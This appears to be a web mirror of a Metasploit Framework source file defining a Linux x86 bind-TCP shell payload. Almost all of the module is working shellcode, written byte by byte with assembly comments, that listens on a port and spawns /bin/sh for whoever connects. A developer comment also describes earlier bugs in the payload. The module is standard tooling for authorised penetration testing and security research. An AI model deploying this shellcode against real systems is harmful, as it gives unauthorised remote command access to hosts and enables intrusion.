CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x86/shell_bind_tcp.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = 78
10
11
include Msf::Payload::Single
12
include Msf::Payload::Linux
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Linux Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'Ramon de C Valle',
20
'License' => MSF_LICENSE,
21
'Platform' => 'linux',
22
'Arch' => ARCH_X86,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' =>
26
{
27
'Offsets' =>
28
{
29
'LPORT' => [ 21, 'n' ],
30
},
31
# TODO: Payload source needs serious cleanup. This payload was
32
# originally generated from
33
# external/source/unixasm/lin-x86-bndsockcode.s which supposedly
34
# worked when it was initially committed. Nevertheless, it was
35
# calling bind(2) with insane parameters, which ended up erroring out
36
# and causing execution to fall off the end of the shellcode,
37
# bursting into flames. See #7216, #7224
38
'Payload' =>
39
"\x31\xdb" + # xorl %ebx,%ebx #
40
"\xf7\xe3" + # mull %ebx #
41
"\x53" + # pushl %ebx #
42
"\x43" + # incl %ebx #
43
"\x53" + # pushl %ebx #
44
"\x6a\x02" + # pushl $0x02 #
45
"\x89\xe1" + # movl %esp,%ecx #
46
"\xb0\x66" + # movb $0x66,%al #
47
"\xcd\x80" + # int $0x80 #
48
"\x5b" + # popl %ebx #
49
"\x5e" + # popl %esi #
50
"\x52" + # pushl %edx #
51
"\x68\x02\x00\x04\xd2" + # pushl $0xd2040200 #
52
"\x6a\x10" + # pushl $0x10 #
53
"\x51" + # pushl %ecx #
54
"\x50" + # pushl %eax #
55
"\x89\xe1" + # movl %esp,%ecx #
56
"\x6a\x66" + # pushl $0x66 #
57
"\x58" + # popl %eax #
58
"\xcd\x80" + # int $0x80 #
59
"\x89\x41\x04" + # movl %eax,0x04(%ecx) #
60
"\xb3\x04" + # movb $0x04,%bl #
61
"\xb0\x66" + # movb $0x66,%al #
62
"\xcd\x80" + # int $0x80 #
63
"\x43" + # incl %ebx #
64
"\xb0\x66" + # movb $0x66,%al #
65
"\xcd\x80" + # int $0x80 #
66
"\x93" + # xchgl %eax,%ebx #
67
"\x59" + # popl %ecx #
68
"\x6a\x3f" + # pushl $0x3f #
69
"\x58" + # popl %eax #
70
"\xcd\x80" + # int $0x80 #
71
"\x49" + # decl %ecx #
72
"\x79\xf8" + # jns <bndsockcode+50> #
73
"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #
74
"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #
75
"\x89\xe3" + # movl %esp,%ebx #
76
"\x50" + # pushl %eax #
77
"\x53" + # pushl %ebx #
78
"\x89\xe1" + # movl %esp,%ecx #
79
"\xb0\x0b" + # movb $0x0b,%al #
80
"\xcd\x80" # int $0x80 #
81
}
82
))
83
end
84
end
85
86